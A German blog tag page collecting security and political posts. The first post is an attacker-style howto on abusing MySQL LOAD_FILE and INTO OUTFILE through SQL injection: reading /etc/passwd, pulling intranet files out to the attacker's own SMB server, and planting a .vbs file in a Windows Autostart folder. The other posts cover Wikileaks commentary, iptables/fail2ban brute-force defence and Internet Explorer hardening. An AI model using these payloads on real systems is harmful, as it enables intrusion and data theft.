Posts Tagged With 'sicherheit'

  • Jun
  • 10
  • 2010

load_file() spielereien

Posted by okami In Datenbanken, Howtos | 1 Comment »

Da mancher Orts noch das Verständnis fehlt, warum es eben nicht nur ein paar Datensätze betrifft, wenn jemand Zuriff über einen SQL Account hat, möchte ich hier mal kurz aufzeigen welche Möglichkeiten prinzipiell zur Verfügung stehen. Eine sehr schöne und einfache Variante ist mittels load_file() und angeschlossene.

Grundlage ist z.b. folgender Query:

select 1,LOAD_FILE("/etc/passwd");

Wenn man das Ganze in einem SQL Injection verarbeitet, würde unter bestimmten Bedingungen der Browser  dann über die Seite beispielsweise folgendes anzeigen:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Ok,  da kommt der erste und sagt das File muss Lese- und oder Schreibberechtigungen für Alle oder den Dienst besitzen … hier soll es uns um das Prinzip gehen und ja er hat recht. Im einfachsten Falle suche ich mir bekannte Konfigurationsfiles, .htaccess Dateien etc. und versuche die auszulesen und Butter bei die Fische in 10 von 100 Fällen wird man fündig. Schlampig gesetzte Berechtigungen öffnen einem hier Tür und Tor. Aber an dieser Stelle ist ja noch nicht aller Tage Abend …

select load_file("\\\\[ip | server_name]\\filename");
select 1 INTO OUTFILE "\\\\[ip | server_name]\\filename]";

Sind zwei weitere schöne Möglichkeiten um ans Ziel zu gelangen, im ersteren Falle ziehen wir uns über das SMB Protokoll eine beliebige Datei im zweiten Falle schreiben wir Daten über das SMB Protokoll an einen uns genehmen Platz und hey machen wir uns nichts vor – richtig konfigurierte Firewalls blockieren immer nur den eingehenden Verkehr auf ungenutzten Ports und erlauben immer sämtlichen Verkehr vom Host weg! ;-) Folgendes nicht unalltägliche Beispielszenario: Eine Firma betreibt einen Webserver auf dem Intranet und Webpräsenz zu gleich laufen, sprich ich kann über ein SQL Injection an allen Sicherheitsmechanismen vorbei Daten in das interne Netz schieben oder sie von dort downloaden.

UNION all select 1,2,load_file("\\\\intranet\\filename"),3,4 INTO OUTFILE "\\\\mein_server\\test";

Da höre ich schon wieder den nächsten Quäker, aber ich weiss doch gar nicht welche Netze … doch die MySQL Variablen report_host und oder hostname geben uns Aufschluss, ansonsten sind wir alle schlau genug zu wissen, welche Netze für den privaten Gebrauch reserviert sind. Wir waren gerade beim Netzwerk … da fällt mir doch noch was ein, DNS Abfrage für Datenbänker – host und dig kann jeder. Auch eine Möglichkeit den internen DNS nach Mustern in der Hostvergabe abzufragen um herauszubekommen welche Netze sich in der Tiefe befinden.

select ‘huhu welt.’ INTO OUTFILE ‘\\\\domain.net\\?save.txt’

Eine interessantes Anwendungsbeispiel ist z.B. in das Startverzeichnis eines Windows Host eine .vbs oder .cmd Datei abzulegen …

select ‘msgbox “pew pew”‘ INTO OUTFILE ‘\\\\192.168.0.x\\c$\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\grussundkuss.vbs’;

Ok und wer immer noch nicht genug hat, der läd sich eine Shell oder überschreibt Dateien.

  • Jun
  • 07
  • 2010

Collateral Murder Video Leaker wurde festgenommen

Posted by okami In Zeitgeistiges | No Comments »
Collateral Murder Video Leaker wurde festgenommen

Wahrscheinlich haben wir es SPC Bradley Manning(22) zu verdanken, dass die Öffentlichkeit mitbekommt, was bei einem militärischen Einsatz der Amerikaner so läuft. Dass dies kein Einzelfall ist und dass die Verantwortlichen nicht zur Rechenschaft gezogen werden, ist uns allen schmerzhaft nur zu bewusst geworden. Die Amerikaner spielen Weltpolizei und das in autistischer John Wayne Manier. Den Amerikaner an dieser Stelle Einhalt zu gebieten sollte auch unser ureigenstes Anliegen sein, denn wir sind auf dem besten Wege, uns genau in die selbe Richtung zu entwickeln.

Das wird Bradley Manning, insofern er wirklich für die Weiterleitung des Videos an Wikileaks verantwortlich ist, nicht weiterhelfen, ihm werden sie den Prozess machen, dass ihm hören und sehen vergeht. Nach seiner Verhaftung am gestrigen Tage, hat er sich auch noch für den Leak des Garani air strike Videos und für die Übermittlung von 260.000 als classified gekennzeichneten diplomatischen Telegramme, die er selber als “almost criminal political back dealings” bezeichnet, verantwortlich gezeigt.  via wired.com

Update: “Erwischt” hat man ihn, weil er einem Ex Hacker Adrian Lamo gegenüber das große Mundwerk gehabt hat, für die Leaks verantwortlich zu sein. Was ihm, wenn das der Realität entspricht zu einem riesen großen Deppen macht. Sogenannte Ex-hacker in USA sind mal classified mit ich hab meinen Arsch ans FBI verkauft. So wirklich sicher ob das alles stimmt, ist man sich auch nicht, die Verschwörungstheoretiker vermuten eine PR – Kampagne des US – Militärs gegen Wikileaks dahinter.

Update: Wie sich herausstellt ist Poulson auch derjenige, der kürzlich in Wired diese Propaganda Story gebracht hatte, dass Wikileaks ihre Informationen illegitim aus Tor – Sniffing erlangt hätten, was sowohl Tor als auch Wikileaks dementieren.

Update: Wikileaks dementieren mittlerweile, dass Sie 260.000 dipl. Botschaftsnachrichten bekommen haben, genauso wie Sie über ihre Quellen keine Aussagen treffen können, weil Sie keine Informationen über die sammeln. Sieht somit summa summarum entweder nach einem Fake der US Amerikaner und nach einem ziemlich doofen Mannigan aus oder nach einem PR Gag. Letzterer wurde ja schon in einem Papier, welches bei Wikileaks  geleaked wurde, angekündigt, mit aller Macht die Glaubwürdigkeit und Integrität des Portals zu untergraben. Darüber hinaus erklärt die Washington Post, sie sei 2 Jahre lang im Besitz des Videos gewesen, nur habe es dies nicht veröffentlicht. Da sieht man mal was man von gleichgeschalteten Medien hat, bei uns wäre das genauso passiert, nur hier bezahlen wir dafür, dass sie uns informieren!

  • Jul
  • 03
  • 2008

Geldautomatennetz gehackt

Posted by okami In Computer | No Comments »

Nach dem in Deutschland sich die Richter immer noch darin einig sind, dass die Banksysteme sicher sind und es nur durch die Fahrlässigkeit des Kunden zu Unregelmäßigkeiten beim abheben kommt, sollte die liebe Richterschaft endlich mal aufwachen. Meine Karte wurde mir dieses Jahr schon 2 mal gesperrt, jedes mal hatte ich im grenznahen Raum entweder getankt oder etwas eingekauft, die einzige Aussage der Bank zu den Vorfällen war, dass die Karte wahrscheinlich an Geräten zum Einsatz gekommen ist, die manipuliert waren. Ansonsten keine weitere Auskunft und ich bekäme eine neue Karte in 1 Woche zugeschickt! Das weckt Vertrauen! Zum Thema manipulierte EC-Kartenlesegeräte wird man hier, hier und hier ausreichend fündig.

  • Jun
  • 19
  • 2008

Nerfiges Brute Force

Posted by okami In Howtos | 1 Comment »

Nachdem immer wieder irgendwelche Brutforce Angriffe in meinen Logs aufgetaucht sind, habe ich mich entschlossen prinzipiell etwas dagegen zu unternehmen. Die üblichen Mechanismen root Remotelogins zu verweigern und Portnocking auf bestimmten Diensten sind manchmal einfach nicht umsetzbar …

In früheren Ansätzen habe ich auf iptables zurückgegriffen, hier ein Beispiel für SSH:

iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 4 --rttl  --name SSH -j LOG --log-prefix "SSH_brute_force "
iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60  --hitcount 4 --rttl --name SSH -j DROP

Mitlerweile existieren gute Mechanismen und Tools die es einem sehr einfach ermöglichen, auf solche Angriffe zu reagieren. Ein solches Tool möchte ich hier vorstellen: fail2ban

Fail2Ban ist ein kleines Programm, das Logfiles verschiedenster Programme überwacht und basierend auf Einträgen in den Logfiles Ereignisse auslöst. Es kann sowohl im Hintergrund (als Dämon) als auch im Vordergrund laufen.

  • Feb
  • 07
  • 2008

Stasi 2.0 – oder wie der Haufen zum Kind kommt

Posted by okami In Zeitgeistiges | 1 Comment »

Was würde nicht alles passieren, wenn darauf verzichtet würde, uns ständig zu überwachen. Dies zeigt uns sehr eindrucksvoll die Volksbank in Stuttgart. Ohne Videoüberwachung wäre es in diesem Fall wohl nicht möglich gewesen, die Täterin zu ermitteln und die Bank wäre am Ende auf den Reinigungskosten(!) für die Reinigung des Steinfussbodens(!) sitzen geblieben. Kann ja nicht sein, dass das unerlaubte Verschmieren von Hundescheisse auf einem Steinboden einfach so übersehen wird.

  • Feb
  • 01
  • 2008

Absichern des Internet Explorers

Posted by okami In Howtos | No Comments »
Absichern des Internet Explorersunter Extras\Internetoptionen\Sicherheit\Zone “Internet”
ActiveX Steuerelemente und Plugins
ActiveX Steuerelemente sicher Deaktivieren
ActiveX Steuerelemente unsicher Deaktivieren
ActiveX Steuerelemente und Plugins ausführen Deaktivieren
Download signierter ActiveX Steuerelemente Deaktivieren
Download unsignierter ActiveX Steuerelemente Deaktivieren
Benutzerauthentifizierung
Anmeldung Nach Benutzer und Kennwort fragen
Cookies
Zuerst stellt man die Cookieverwaltung auf Benutzerdefiniert um. Danach werden folgende Einstellungen unter “Erweitert” vorgenommen.
Automatische Cookiebehandlung aufheben Aktivieren
Cookies von Erstanbietern Deaktivieren oder Eingabeaufforderung
Cookies von Drittanbietern Deaktivieren
Sitzungscookies Aktivieren
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Download
Datei Aktivieren
Schriftart Aktivieren
Java
Java-Einstellung Benutzerdefiniert
Unter Java-Einstellungen
Signierter Inhalt Deaktivieren
Nichtsignierter Inhalt Deaktivieren
Scripting
Active Scripting Deaktivieren
Einfügeoperationen über ein Script Deaktivieren
Scripting von Java-Applets Deaktivieren
Verschiedenes
Datenquellen über Domänengrenzen Deaktivieren
Dauerhaftigkeit der Benutzerdaten Deaktivieren
Gemischte Inhalte anzeigen Deaktivieren
Installation von Desktopobjekten Deaktivieren
Clientzertifikatauswahl Deaktivieren
Meta Refresh zulassen Aktivieren
Programme … IFRAME zulassen Deaktivieren
Subframes zwischen verschiedenen Domänen Deaktivieren
Unverschlüsselte Formulardaten Eingabeaufforderung
Ziehen, Ablegen,Kopieren, Einfügen von Dateien Eingabeaufforderun
Zugriffsrechte für Softwarechannel Hohe Sicherheit
unter Extras\Internetoptionen\Erweitert
Browsing
Automatische Überprüfung auf Aktualisierungen Deaktivieren
Installation bei Bedarf Deaktivieren
Passives FTP Aktivieren
Verwenden von Autovervollständigen Deaktivieren
Zählen der übertragenen Seiten Deaktivieren
Java
Java-Protokollierung Aktivieren
Sicherheit
Auf zurückgezogene Herausgeber- und Sitezertifikate Überprüfen Aktivieren
Bei ungültigen Site-Zertifikaten warnen Aktivieren
Beim Wechsel…warnen Aktivieren
PCT 1.0 verwenden Deaktivieren
Profil-Assistent aktivieren Deaktivieren
Signaturen von Programmen Überprüfen
SSL 2.0 verwenden Deaktivieren (muss bei Servern,
die nur mit SSL 2.0 arbeiten,
fallweise aktiviert werden)
SSL 3.0 verwenden Aktivieren
TLS 1.0 verwenden Aktivieren
Verschlüsselte Seiten nicht… Aktivieren
Warnen, falls Formulardaten… Aktivieren
unter Extras\Internetoptionen\Inhalt
Persöhnliche Informationen – AutoVervollständigen
Webadressen kann aktiviert werden
Formulare sollte deaktiert werden
Benutzernamen und Kennwörter Deaktivieren
unter Extras\Internetoptionen\Verbindungen
Vor dem Wählen Systemsicherheit prüfen Aktivieren
DFÜ-Einstellungen\Einstellungen
Automatische Suche der Einstellungen Deaktivieren
Automatisches Konfigurationsskript Deaktivieren
Proxyserver verwenden Aktivieren
im Menü Erweitert nun die IP-Adresse und die Portnummer des favorisierten Proxyservers für HTTP und FTP eingeben. Bei Verwendung von Junkbuster als IP-Adresse 127.0.0.1 und als Portnummer 8000 für HTTP und FTP eingeben.
Kennwort nicht angeben
AnmerkungenBitte überprüfen Sie regelmäßig auf www.microsoft.com ob neue SecurityPatches verfügbar sind un installieren die gegebenenfalls.
Falls Sie nicht von der Notwendigkeit der vorgeschlagenen Maßnahmen überzeugt sind, nehmen Sie sich etwas Zeit und besuchen Sie den ct’ Browsercheck. Sie werden feststellen, dass es für einen Angreifer leicht möglich ist, nicht nur Ihre Daten auszuspähen, sondern auch remote Code(Viren, etc) auf Ihrem Rechner auszuführen.

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